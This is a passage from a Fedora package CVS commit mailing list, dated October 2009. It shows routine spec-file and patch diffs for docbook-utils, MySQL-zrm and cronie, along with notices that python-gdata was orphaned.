+	  SGML_OPTIONS="-V %paper-type%=$papersize $SGML_OPTIONS"
 	fi
 	;;
 esac

docbook-utils-rtfmanpage.patch:
 jw.1 |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE docbook-utils-rtfmanpage.patch ---
diff -urNp docbook-utils-0.6.14-orig/doc/man/jw.1 docbook-utils-0.6.14/doc/man/jw.1
--- docbook-utils-0.6.14-orig/doc/man/jw.1	2004-02-11 15:16:21.000000000 +0100
+++ docbook-utils-0.6.14/doc/man/jw.1	2009-08-13 10:44:03.000000000 +0200
@@ -192,6 +192,11 @@ by calling \fBJade\fR or
 \fBOpenJade\fR\&. The resulting file can
 then be inported into \fBMS Word\fR
 or one of its Linux replacement programs.
+
+\fBNote\fR - The original picture must be
+present when RTF document is viewed, because
+the RTF documents created by \fBOpenJade\fR
+includes pictures by reference.
 .TP
 \fB\fItex\fB\fR
 Converts to TeX by calling \fBJade\fR or

docbook-utils-sgmlinclude.patch:
 backends/man.in |    2 +-
 bin/jw.in       |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE docbook-utils-sgmlinclude.patch ---
diff -urNp docbook-utils-0.6.14-orig/backends/man.in docbook-utils-0.6.14/backends/man.in
--- docbook-utils-0.6.14-orig/backends/man.in	2009-07-24 15:17:42.000000000 +0200
+++ docbook-utils-0.6.14/backends/man.in	2009-07-24 15:20:57.000000000 +0200
@@ -7,7 +7,7 @@ HELPER=$SGML_BASE_DIR/docbook/utils- at VER
 TMPDIR=`mktemp -d /tmp/man.XXXXXX` || \
  { echo >&2 "man backend: could not create secure temporary directory"; exit 1;}
 trap 'rm -rf "${TMPDIR}"' EXIT
-nsgmls "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
+nsgmls "$SGML_INCLUDE" "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
 sgmlspl $HELPER <"${TMPDIR}/nsgmls.tmp" 2>"${TMPDIR}/errs"
 if [ $? -ne 0 ]
 then
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-07-24 15:17:42.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-07-24 15:18:51.000000000 +0200
@@ -423,7 +423,7 @@ echo "Using catalogs: `echo $SGML_CATALO
 echo "Using stylesheet: $SGML_STYLESHEET"
 echo "Working on: $SGML_FILE"
 cd "$SGML_OUTPUT_DIRECTORY"
-export SGML_JADE SGML_FILE_NAME SGML_ARGUMENTS
+export SGML_JADE SGML_FILE_NAME SGML_ARGUMENTS SGML_INCLUDE
 export SGML_CATALOG_FILES SGML_BASE_DIR SGML_FILE SGML_STYLESHEET
 NOCHUNKS=`echo $SGML_OPTIONS | grep nochunks`
 if [ -z "$NOCHUNKS" ]

docbook-utils-2ndspaces.patch:
 backends/dvi                          |   26 +++++++++++++-------------
 backends/html                         |    2 +-
 backends/pdf                          |   20 ++++++++++----------
 backends/ps                           |   28 ++++++++++++++--------------
 backends/rtf                          |    2 +-
 backends/tex                          |    2 +-
 backends/txt                          |    2 +-
 bin/jw.in                             |   10 +++++-----
 docbook-utils-0.6.14/backends/man.in  |    2 +-
 docbook-utils-0.6.14/backends/texi.in |    2 +-
 10 files changed, 48 insertions(+), 48 deletions(-)

Index: docbook-utils-2ndspaces.patch
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-10/docbook-utils-2ndspaces.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- docbook-utils-2ndspaces.patch	24 May 2007 11:02:58 -0000	1.1
+++ docbook-utils-2ndspaces.patch	12 Oct 2009 09:41:51 -0000	1.2
@@ -190,6 +190,15 @@
  fi
 --- Original/bin/jw.in	2003-04-30 18:21:49.000000000 +0200
 +++ Changes/bin/jw.in	2007-05-21 14:28:58.000000000 +0200
+@@ -246,7 +246,7 @@ then
+   echo -e $SGML_HELP_MESSAGE >&2
+   exit 1
+ fi
+-if [ ! -s $SGML_FRONTEND ]
++if [ ! -s "$SGML_FRONTEND" ]
+ then
+   echo "`basename $0`: There is no frontend called \"$SGML_FRONTEND\"." >&2
+   exit 2
 @@ -270,14 +270,14 @@
    echo -e $SGML_HELP_MESSAGE >&2
    exit 1
@@ -225,3 +234,27 @@
  fi
  SGML_RETURN=$?
  cd "$SGML_CURRENT_DIRECTORY"
+diff -urNp docbook-utils-0.6.14-orig/backends/man.in docbook-utils-0.6.14/backends/man.in
+--- docbook-utils-0.6.14-orig/backends/man.in	2003-02-11 13:56:23.000000000 +0100
++++ docbook-utils-0.6.14/backends/man.in	2009-07-24 15:07:04.000000000 +0200
+@@ -7,7 +7,7 @@ HELPER=$SGML_BASE_DIR/docbook/utils- at VER
+ TMPDIR=`mktemp -d /tmp/man.XXXXXX` || \
+  { echo >&2 "man backend: could not create secure temporary directory"; exit 1;}
+ trap 'rm -rf "${TMPDIR}"' EXIT
+-nsgmls $SGML_FILE > "${TMPDIR}/nsgmls.tmp"
++nsgmls "$SGML_FILE" > "${TMPDIR}/nsgmls.tmp"
+ sgmlspl $HELPER <"${TMPDIR}/nsgmls.tmp" 2>"${TMPDIR}/errs"
+ if [ $? -ne 0 ]
+ then
+diff -urNp docbook-utils-0.6.14-orig/backends/texi.in docbook-utils-0.6.14/backends/texi.in
+--- docbook-utils-0.6.14-orig/backends/texi.in	2002-08-05 23:20:56.000000000 +0200
++++ docbook-utils-0.6.14/backends/texi.in	2009-07-24 15:08:02.000000000 +0200
+@@ -3,7 +3,7 @@
+ # This program is under GPL license. See LICENSE file for details.
+ 
+ # Convert to texinfo
+-nsgmls $SGML_FILE | sgmlspl $SGML_BASE_DIR/docbook/utils- at VERSION@/helpers/docbook2texi-spec.pl >$SGML_FILE_NAME.texi
++nsgmls "$SGML_FILE" | sgmlspl $SGML_BASE_DIR/docbook/utils- at VERSION@/helpers/docbook2texi-spec.pl >$SGML_FILE_NAME.texi
+ if [ $? -ne 0 ]
+ then exit 1
+ fi


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-10/docbook-utils.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- docbook-utils.spec	28 Nov 2008 10:51:40 -0000	1.30
+++ docbook-utils.spec	12 Oct 2009 09:41:51 -0000	1.31
@@ -1,10 +1,10 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 15%{?dist}
+Release: 16%{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
-URL: ftp://sources.redhat.com/pub/docbook-tools/new-trials/
+URL: http://sources.redhat.com/docbook-tools/
 
 License: GPLv2+
 
@@ -25,13 +25,16 @@ Source2: gdp-both.dsl
 #You could check it at http://sourceforge.net/projects/docbook2x/
 Source3: docbook2man-spec.pl
 
-Obsoletes: stylesheets <= %{version}-%{release} 
+Obsoletes: stylesheets <= %{version}-%{release}
 Provides: stylesheets = %{version}-%{release}
 
 Patch0: docbook-utils-spaces.patch
 Patch1: docbook-utils-2ndspaces.patch
 Patch2: docbook-utils-w3mtxtconvert.patch
 Patch3: docbook-utils-grepnocolors.patch
+Patch4: docbook-utils-sgmlinclude.patch
+Patch5: docbook-utils-rtfmanpage.patch
+Patch6: docbook-utils-papersize.patch
 
 %description
 This package contains scripts are for easy conversion from DocBook
@@ -41,13 +44,13 @@ for comparing SGML files.
 %package pdf
 Requires: jadetex >= 2.5
 Requires: docbook-utils = %{version}
-Requires: tetex-dvips
+Requires: tex(dvips)
 License: GPL+
 Group: Applications/Text
 Obsoletes: stylesheets-db2pdf <= %{version}-%{release}
 Provides: stylesheets-db2pdf = %{version}-%{release}
 Summary: A script for converting DocBook documents to PDF format
-URL: ftp://sources.redhat.com/pub/docbook-tools/new-trials/
+URL: http://sources.redhat.com/docbook-tools/
 
 %description pdf
 This package contains a script for converting DocBook documents to
@@ -59,6 +62,9 @@ PDF format.
 %patch1 -p1 -b .2ndspaces
 %patch2 -p1 -b .w3mtxtconvert
 %patch3 -p1 -b .grepnocolors
+%patch4 -p1 -b .sgmlinclude
+%patch5 -p1 -b .rtfman
+%patch6 -p1 -b .papersize
 
 %build
 ./configure --prefix=%{_prefix} --mandir=%{_mandir} --libdir=%{_libdir}
@@ -73,6 +79,7 @@ do
 	ln -s docbook2$util $RPM_BUILD_ROOT%{_bindir}/db2$util
 	ln -s jw.1.gz $RPM_BUILD_ROOT/%{_mandir}/man1/db2$util.1
 done
+ln -s jw.1.gz $RPM_BUILD_ROOT/%{_mandir}/man1/docbook2txt.1
 # db2html is not just a symlink, as it has to create the output directory
 rm -f $RPM_BUILD_ROOT%{_bindir}/db2html
 install -p -m 755 %{SOURCE1} $RPM_BUILD_ROOT%{_bindir}/db2html
@@ -108,6 +115,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2man.*
 %{_mandir}/*/docbook2tex.*
 %{_mandir}/*/docbook2texi.*
+%{_mandir}/*/docbook2txt.*
 %{_mandir}/*/jw.*
 %{_mandir}/*/sgmldiff.*
 %{_mandir}/*/*-spec.*
@@ -126,6 +134,17 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Mon Oct 12 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-17
+- fix locale-based papersize selection (#527395)
+- provide symlink manpage for docbook2txt
+- add note about openjade limitation in rtf section of jw
+  manpage(#516942)
+- another quoted variable fixes for spaces in filenames
+- use SGML_INCLUDE in man backend(upstream)
+- change upstream URL to something useful
+- escape dots and single quotes in column 1 in docbook2man-spec.pl
+- fix pdf subpackage requires(to match TeXLive2008 provides)
+
 * Fri Nov 28 2008 Ondrej Vasik <ovasik at redhat.com> 0.6.14-15
 - require grep,gawk, fix jw script to find SGML_BASE_DIR even
   with grep with colors(#473278), finish funcsynopsis patch


Index: docbook2man-spec.pl
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-10/docbook2man-spec.pl,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- docbook2man-spec.pl	8 Sep 2008 18:34:27 -0000	1.1
+++ docbook2man-spec.pl	12 Oct 2009 09:41:51 -0000	1.2
@@ -1499,6 +1499,11 @@ sgml('cdata', sub
 	# Escape backslashes
 	$_[0] =~ s/\\/\\\\/g;
 
+  # Escape dots and single quotes in column 1
+	$_[0] =~ s/^[ \t]*\./\\\&\./;
+	$_[0] =~ s/^[ \t]*\'/\\\&\'/;
+
+
 	# In non-'pre'-type elements:
 	if(!$nocollapse_whitespace) {
 		# Change tabs to spaces



From pkgdb at fedoraproject.org  Mon Oct 12 09:50:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:50:55 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095055.9620810F86A@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora devel was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:21 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095121.DAA3510F875@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 11 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:24 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095124.C7EE910F889@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 12 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:28 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095128.D168B10F8A3@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 10 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:31 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095131.B56FB10F875@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 9 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:33 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095133.CA87310F889@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 7 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From pkgdb at fedoraproject.org  Mon Oct 12 09:51:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 09:51:37 +0000
Subject: [pkgdb] python-gdata ownership updated
Message-ID: <20091012095137.376F310F875@bastion2.fedora.phx.redhat.com>

Package python-gdata in Fedora 8 was orphaned by hadess

To make changes to this package see:
  /pkgdb/packages/name/python-gdata



From ksyz at fedoraproject.org  Mon Oct 12 10:09:09 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Mon, 12 Oct 2009 10:09:09 +0000 (UTC)
Subject: rpms/MySQL-zrm/devel MySQL-zrm.spec,1.1,1.2
Message-ID: <20091012100909.F160C11C00DB@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2477

Modified Files:
	MySQL-zrm.spec 
Log Message:
* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
- replaced _datarootdir for _datadir



Index: MySQL-zrm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/devel/MySQL-zrm.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- MySQL-zrm.spec	11 Oct 2009 09:57:04 -0000	1.1
+++ MySQL-zrm.spec	12 Oct 2009 10:09:09 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		MySQL-zrm
 Version:	2.1.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	MySQL backup manager
 
 Group:		Applications/System
@@ -47,7 +47,7 @@ mkdir -p %{buildroot}/%{_mandir}/man1/
 mkdir -p %{buildroot}/%{_mandir}/man5/
 mkdir -p %{buildroot}/%{_sharedstatedir}/
 mkdir -p %{buildroot}/%{_var}/log/
-mkdir -p %{buildroot}/%{_datarootdir}/
+mkdir -p %{buildroot}/%{_datadir}/
 mkdir -p %{buildroot}/%{_bindir}/
 mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
 mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
@@ -59,7 +59,7 @@ cp -rp usr/share/man/man1/*			%{buildroo
 cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
 cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
 cp -rp var/log/*				%{buildroot}/%{_var}/log/
-cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
+cp -rp usr/share/*				%{buildroot}/%{_datadir}/
 cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
 cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
 cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
@@ -91,6 +91,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
+- replaced _datarootdir for _datadir
+
 * Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
 - Removed uneeded dependencies
 - Replaced /var/lib with macro



From ksyz at fedoraproject.org  Mon Oct 12 10:09:40 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Mon, 12 Oct 2009 10:09:40 +0000 (UTC)
Subject: rpms/MySQL-zrm/F-12 MySQL-zrm.spec,1.1,1.2
Message-ID: <20091012100940.A78EE11C00DB@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2538

Modified Files:
	MySQL-zrm.spec 
Log Message:
* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
- replaced _datarootdir for _datadir



Index: MySQL-zrm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-12/MySQL-zrm.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- MySQL-zrm.spec	11 Oct 2009 09:45:09 -0000	1.1
+++ MySQL-zrm.spec	12 Oct 2009 10:09:40 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		MySQL-zrm
 Version:	2.1.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	MySQL backup manager
 
 Group:		Applications/System
@@ -47,7 +47,7 @@ mkdir -p %{buildroot}/%{_mandir}/man1/
 mkdir -p %{buildroot}/%{_mandir}/man5/
 mkdir -p %{buildroot}/%{_sharedstatedir}/
 mkdir -p %{buildroot}/%{_var}/log/
-mkdir -p %{buildroot}/%{_datarootdir}/
+mkdir -p %{buildroot}/%{_datadir}/
 mkdir -p %{buildroot}/%{_bindir}/
 mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
 mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
@@ -59,7 +59,7 @@ cp -rp usr/share/man/man1/*			%{buildroo
 cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
 cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
 cp -rp var/log/*				%{buildroot}/%{_var}/log/
-cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
+cp -rp usr/share/*				%{buildroot}/%{_datadir}/
 cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
 cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
 cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
@@ -91,6 +91,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
+- replaced _datarootdir for _datadir
+
 * Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
 - Removed uneeded dependencies
 - Replaced /var/lib with macro



From ksyz at fedoraproject.org  Mon Oct 12 10:10:07 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Mon, 12 Oct 2009 10:10:07 +0000 (UTC)
Subject: rpms/MySQL-zrm/F-11 MySQL-zrm.spec,1.1,1.2
Message-ID: <20091012101007.E043E11C02A1@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2601

Modified Files:
	MySQL-zrm.spec 
Log Message:
* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
- replaced _datarootdir for _datadir



Index: MySQL-zrm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-11/MySQL-zrm.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- MySQL-zrm.spec	10 Oct 2009 22:40:08 -0000	1.1
+++ MySQL-zrm.spec	12 Oct 2009 10:10:07 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		MySQL-zrm
 Version:	2.1.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	MySQL backup manager
 
 Group:		Applications/System
@@ -47,7 +47,7 @@ mkdir -p %{buildroot}/%{_mandir}/man1/
 mkdir -p %{buildroot}/%{_mandir}/man5/
 mkdir -p %{buildroot}/%{_sharedstatedir}/
 mkdir -p %{buildroot}/%{_var}/log/
-mkdir -p %{buildroot}/%{_datarootdir}/
+mkdir -p %{buildroot}/%{_datadir}/
 mkdir -p %{buildroot}/%{_bindir}/
 mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
 mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
@@ -59,7 +59,7 @@ cp -rp usr/share/man/man1/*			%{buildroo
 cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
 cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
 cp -rp var/log/*				%{buildroot}/%{_var}/log/
-cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
+cp -rp usr/share/*				%{buildroot}/%{_datadir}/
 cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
 cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
 cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
@@ -91,6 +91,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
+- replaced _datarootdir for _datadir
+
 * Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
 - Removed uneeded dependencies
 - Replaced /var/lib with macro



From ksyz at fedoraproject.org  Mon Oct 12 10:10:41 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Mon, 12 Oct 2009 10:10:41 +0000 (UTC)
Subject: rpms/MySQL-zrm/EL-5 MySQL-zrm.spec,1.1,1.2
Message-ID: <20091012101041.3003511C02A1@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2660

Modified Files:
	MySQL-zrm.spec 
Log Message:
* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
- replaced _datarootdir for _datadir



Index: MySQL-zrm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/EL-5/MySQL-zrm.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- MySQL-zrm.spec	11 Oct 2009 09:57:11 -0000	1.1
+++ MySQL-zrm.spec	12 Oct 2009 10:10:41 -0000	1.2
@@ -1,6 +1,6 @@
 Name:		MySQL-zrm
 Version:	2.1.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	MySQL backup manager
 
 Group:		Applications/System
@@ -47,7 +47,7 @@ mkdir -p %{buildroot}/%{_mandir}/man1/
 mkdir -p %{buildroot}/%{_mandir}/man5/
 mkdir -p %{buildroot}/%{_sharedstatedir}/
 mkdir -p %{buildroot}/%{_var}/log/
-mkdir -p %{buildroot}/%{_datarootdir}/
+mkdir -p %{buildroot}/%{_datadir}/
 mkdir -p %{buildroot}/%{_bindir}/
 mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
 mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
@@ -59,7 +59,7 @@ cp -rp usr/share/man/man1/*			%{buildroo
 cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
 cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
 cp -rp var/log/*				%{buildroot}/%{_var}/log/
-cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
+cp -rp usr/share/*				%{buildroot}/%{_datadir}/
 cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
 cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
 cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
@@ -91,6 +91,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 11 2009 <mi at v3.sk> - 2.1.1-5
+- replaced _datarootdir for _datadir
+
 * Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
 - Removed uneeded dependencies
 - Replaced /var/lib with macro



From mmaslano at fedoraproject.org  Mon Oct 12 10:15:28 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 10:15:28 +0000 (UTC)
Subject: rpms/cronie/devel .cvsignore, 1.7, 1.8 cronie.spec, 1.26,
	1.27 sources, 1.7, 1.8
Message-ID: <20091012101528.EE3D611C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3477

Modified Files:
	.cvsignore cronie.spec sources 
Log Message:
* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
- new release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	14 Aug 2009 12:47:30 -0000	1.7
+++ .cvsignore	12 Oct 2009 10:15:28 -0000	1.8
@@ -1 +1 @@
-cronie-1.4.1.tar.gz
+cronie-1.4.2.tar.gz


Index: cronie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/devel/cronie.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- cronie.spec	21 Aug 2009 10:23:21 -0000	1.26
+++ cronie.spec	12 Oct 2009 10:15:28 -0000	1.27
@@ -5,8 +5,8 @@
 
 Summary: Cron daemon for executing programs at set times
 Name: cronie
-Version: 1.4.1
-Release: 3%{?dist}
+Version: 1.4.2
+Release: 1%{?dist}
 License: MIT and BSD and GPLv2
 Group: System Environment/Base
 URL: https://fedorahosted.org/cronie
@@ -74,7 +74,7 @@ overloaded in settings.
 %if %{with inotify}
 --with-inotify \
 %endif
---enable-anacron
+--enable-anacron --enable-pie
 
 make %{?_smp_mflags}
 
@@ -173,6 +173,9 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %{_mandir}/man8/anacron.*
 
 %changelog
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
+- new release
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.1-3
 - rebuilt with new audit
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	14 Aug 2009 12:47:30 -0000	1.7
+++ sources	12 Oct 2009 10:15:28 -0000	1.8
@@ -1 +1 @@
-9c089d2035b9fa8263bc71da3eb31cdd  cronie-1.4.1.tar.gz
+9c7cef09ff9c92a90a314a1e947fae5c  cronie-1.4.2.tar.gz



From mmaslano at fedoraproject.org  Mon Oct 12 10:26:33 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 10:26:33 +0000 (UTC)
Subject: rpms/cronie/F-12 .cvsignore, 1.7, 1.8 cronie.spec, 1.26,
	1.27 sources, 1.7, 1.8
Message-ID: <20091012102633.EA18611C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5886

Modified Files:
	.cvsignore cronie.spec sources 
Log Message:
* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
- new release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	14 Aug 2009 12:47:30 -0000	1.7
+++ .cvsignore	12 Oct 2009 10:26:32 -0000	1.8
@@ -1 +1 @@
-cronie-1.4.1.tar.gz
+cronie-1.4.2.tar.gz


Index: cronie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/F-12/cronie.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- cronie.spec	21 Aug 2009 10:23:21 -0000	1.26
+++ cronie.spec	12 Oct 2009 10:26:32 -0000	1.27
@@ -5,8 +5,8 @@
 
 Summary: Cron daemon for executing programs at set times
 Name: cronie
-Version: 1.4.1
-Release: 3%{?dist}
+Version: 1.4.2
+Release: 1%{?dist}
 License: MIT and BSD and GPLv2
 Group: System Environment/Base
 URL: https://fedorahosted.org/cronie
@@ -74,7 +74,7 @@ overloaded in settings.
 %if %{with inotify}
 --with-inotify \
 %endif
---enable-anacron
+--enable-anacron --enable-pie
 
 make %{?_smp_mflags}
 
@@ -173,6 +173,9 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %{_mandir}/man8/anacron.*
 
 %changelog
+* Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
+- new release
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.1-3
 - rebuilt with new audit
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	14 Aug 2009 12:47:30 -0000	1.7
+++ sources	12 Oct 2009 10:26:33 -0000	1.8
@@ -1 +1 @@
-9c089d2035b9fa8263bc71da3eb31cdd  cronie-1.4.1.tar.gz
+9c7cef09ff9c92a90a314a1e947fae5c  cronie-1.4.2.tar.gz



From mhlavink at fedoraproject.org  Mon Oct 12 10:50:28 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
